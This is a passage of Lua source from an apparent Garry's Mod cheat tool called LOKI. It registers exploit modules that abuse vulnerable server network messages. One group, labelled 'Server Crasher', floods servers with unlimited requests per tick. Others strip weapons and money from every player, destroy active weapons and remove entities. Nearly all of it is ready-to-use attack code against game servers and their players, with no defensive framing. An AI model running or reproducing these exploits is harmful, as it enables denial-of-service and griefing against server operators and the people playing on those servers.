8871 scan = function() return LOKI.ValidNetString( "CallP" ) end,
8872 hooks = {
8873 Think = function(tbl, sploit)
8874 LOKI.NetStart( sploit, "CallP" )
8875 net.WriteEntity(LOKI.GetLP())
8876 net.WriteBit(true)
8877 net.SendToServer()
8878 end,
8879 },
8880 functions = {
8881 { typ = "bool", },
8882 },
8883} )
8884LOKI.AddExploit( "Server Crasher", {
8885 desc = "Burst the servers ear drums",
8886 severity = 100,
8887 bools = {enabled = false},
8888 status = 1,
8889 times_per_tick = math.huge,
8890 scan = function() return usermessage.GetTable()["sounds_yo"] != nil || LOKI.ValidNetString("sounds_yo") end,
8891 hooks = {
8892 Think = function(tbl, sploit)
8893 LOKI.RCC(sploit, "sounds_request")
8894 end,
8895 net = {
8896 Receive = function(sploit, strName)
8897 if(strName == "sounds_yo") then
8898 return false
8899 end
8900 end,
8901 },
8902 },
8903 functions = {
8904 { typ = "bool", },
8905 },
8906} )
8907LOKI.AddExploit( "Server Crasher", {
8908 desc = "Open the floodgates",
8909 severity = 100,
8910 bools = {enabled = false},
8911 status = 1,
8912 times_per_tick = math.huge,
8913 scan = function() return LOKI.ValidNetString("dialogAlterWeapons") end,
8914 hooks = {
8915 Think = function(tbl, sploit)
8916 LOKI.NetStart(sploit, "dialogAlterWeapons", true)
8917 net.WriteString("Add")
8918 net.WriteTable({[1] = "worldspawn"})
8919 net.SendToServer()
8920 end,
8921 },
8922 functions = {
8923 { typ = "bool", },
8924 },
8925} )
8926LOKI.AddExploit( "Server Crasher", {
8927 desc = "Burn the books",
8928 severity = 100,
8929 bools = {enabled = false},
8930 status = 1,
8931 times_per_tick = math.huge,
8932 scan = function() return LOKI.ValidNetString("hcLog") end,
8933 hooks = {
8934 Think = function(tbl, sploit)
8935 LOKI.NetStart(sploit, "hcLog", true)
8936 net.SendToServer()
8937 end,
8938 },
8939 functions = {
8940 { typ = "bool", },
8941 },
8942} )
8943/*LOKI.AddExploit( "Server Crasher", {
8944 desc = "Fuel is flammable? Who knew!",
8945 severity = 100,
8946 bools = {enabled = false},
8947 status = 1,
8948 times_per_tick = math.huge,
8949 scan = function() return LOKI.ValidNetString( "simfphys_gasspill" ) end,
8950 hooks = {
8951 Think = function(tbl, sploit)
8952 LOKI.NetStart( sploit, "simfphys_gasspill" )
8953 net.SendToServer()
8954 end,
8955 },
8956 functions = {
8957 { typ = "bool", },
8958 },
8959} )*/
8960
8961LOKI.AddExploit( "Strip Weapons", {
8962 desc = "Strip weapons/money from everybody",
8963 severity = 90,
8964 bools = {enabled = false},
8965 status = 1,
8966 times_per_tick = 1,
8967 vars = {},
8968 scan = function() return LOKI.ValidNetString( "drugseffect_remove" ) end,
8969 hooks = {
8970 Think = function(tbl, sploit)
8971 if(tbl[1] == 1) then
8972 LOKI.NetStart( sploit, "drugseffect_remove")
8973 net.SendToServer()
8974 elseif(tbl[1] == 2) then
8975 LOKI.NetStart( sploit, "drugs_money")
8976 net.SendToServer()
8977 end
8978 end,
8979 },
8980 functions = {
8981 { typ = "func", Name = "Strip Weapons", args = {1}, },
8982 { typ = "func", Name = "Strip Money", args = {2}, },
8983 },
8984} )
8985LOKI.AddExploit( "Strip Weapons", {
8986 desc = "Prevent players from using their weapons",
8987 severity = 90,
8988 bools = {enabled = false},
8989 status = 1,
8990 times_per_tick = 1,
8991 vars = {},
8992 scan = function() return LOKI.ValidNetString( "Cover_WheelU" ) end,
8993 hooks = {
8994 Think = function(tbl, sploit)
8995 for k, v in ipairs( LOKI.GetStored( "stripper2_plyz", {} ) ) do
8996 local weaps = v:GetWeapons()
8997 LOKI.NetStart(sploit, "Cover_WheelU") --Cover_WheelD works too
8998 net.WriteEntity(v)
8999 net.WriteTable({weaps[math.random(#weaps)], weaps[math.random(#weaps)]})
9000 net.SendToServer()
9001 end
9002 end,
9003 },
9004 functions = {
9005 { typ = "players", addr = "stripper2_plyz" },
9006 { typ = "bool", },
9007 },
9008} )
9009LOKI.AddExploit( "Strip Weapons", {
9010 desc = "Prevent players from using their weapons",
9011 severity = 90,
9012 bools = {enabled = false},
9013 status = 1,
9014 times_per_tick = 1,
9015 vars = {},
9016 scan = function() return LOKI.ValidNetString( "DCHOLDSTER" ) end,
9017 hooks = {
9018 Think = function(tbl, sploit)
9019 for k, v in ipairs( LOKI.GetStored( "stripper3_plyz", {} ) ) do
9020 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9021 local weaps = v:GetWeapons()
9022 LOKI.NetStart(sploit, "DCHOLDSTER")
9023 net.WriteEntity(v:GetActiveWeapon())
9024 net.WriteString(weaps[math.random(#weaps)]:GetClass())
9025 net.SendToServer()
9026 end
9027 end,
9028 },
9029 functions = {
9030 { typ = "players", addr = "stripper3_plyz" },
9031 { typ = "bool", },
9032 },
9033} )
9034LOKI.AddExploit( "Strip Weapons", {
9035 desc = "Automatically prevent all mass shootings",
9036 severity = 90,
9037 bools = {enabled = false},
9038 status = 1,
9039 times_per_tick = 1,
9040 vars = {},
9041 scan = function() return LOKI.ValidNetString( "STOOL_FISHSPOT_REMOVE" ) end,
9042 hooks = {
9043 Think = function(tbl, sploit)
9044 for k, v in ipairs( LOKI.GetStored( "stripper4_plyz", {} ) ) do
9045 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9046 LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
9047 net.WriteEntity(v:GetActiveWeapon())
9048 net.SendToServer()
9049 end
9050 end,
9051 },
9052 functions = {
9053 { typ = "players", addr = "stripper4_plyz" },
9054 { typ = "bool", },
9055 },
9056} )
9057LOKI.AddExploit( "Strip Weapons", {
9058 desc = "Automatically enforce gun control laws",
9059 severity = 90,
9060 bools = {enabled = false},
9061 status = 1,
9062 times_per_tick = 1,
9063 vars = {},
9064 scan = function() return LOKI.ValidNetString( "DestroyTable" ) end,
9065 hooks = {
9066 Think = function(tbl, sploit)
9067 for k, v in ipairs( LOKI.GetStored( "stripper5_plyz", {} ) ) do
9068 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9069 LOKI.NetStart(sploit, "DestroyTable")
9070 net.WriteEntity(v:GetActiveWeapon())
9071 net.SendToServer()
9072 end
9073 end,
9074 },
9075 functions = {
9076 { typ = "players", addr = "stripper5_plyz" },
9077 { typ = "bool", },
9078 },
9079} )
9080LOKI.AddExploit( "Strip Weapons", {
9081 desc = "Remove the guns from the hands of the criminals",
9082 severity = 90,
9083 bools = {enabled = false},
9084 status = 1,
9085 times_per_tick = 1,
9086 vars = {},
9087 scan = function() return LOKI.ValidNetString( "AS_DoAttack" ) end,
9088 hooks = {
9089 Think = function(tbl, sploit)
9090 for k, v in ipairs( LOKI.GetStored( "stripper6_plyz", {} ) ) do
9091 if(!IsValid(v) || !IsValid(v:GetActiveWeapon())) then continue end
9092 LOKI.NetStart(sploit, "AS_DoAttack")
9093 net.WriteTable({Weapon = v:GetActiveWeapon():EntIndex(), Target = 0})
9094 net.SendToServer()
9095 end
9096 end,
9097 },
9098 functions = {
9099 { typ = "players", addr = "stripper6_plyz" },
9100 { typ = "bool", },
9101 },
9102} )
9103LOKI.LNextNuke = {}
9104function LOKI.NukeWeapon( ent, sploit )
9105 if !ent:IsValid() then return end
9106 if LOKI.LNextNuke[ent] and LOKI.LNextNuke[ent] > SysTime() then return end
9107 LOKI.NetStart( sploit, "properties")
9108 net.WriteString("remove")
9109 net.WriteEntity( ent )
9110 net.SendToServer()
9111 LOKI.LNextNuke[ent] = SysTime() + 0.5
9112end
9113function LOKI.RemoveEnts( tab, sploit )
9114 for k, v in pairs( tab ) do
9115 if !v:IsValid() then continue end
9116 if LOKI.LNextNuke[v] and LOKI.LNextNuke[v] > SysTime() then continue end
9117 LOKI.NetStart( sploit, "properties")
9118 net.WriteString("remove")
9119 net.WriteEntity( v )
9120 net.SendToServer()
9121 end
9122end
9123LOKI.OpenMenu(true)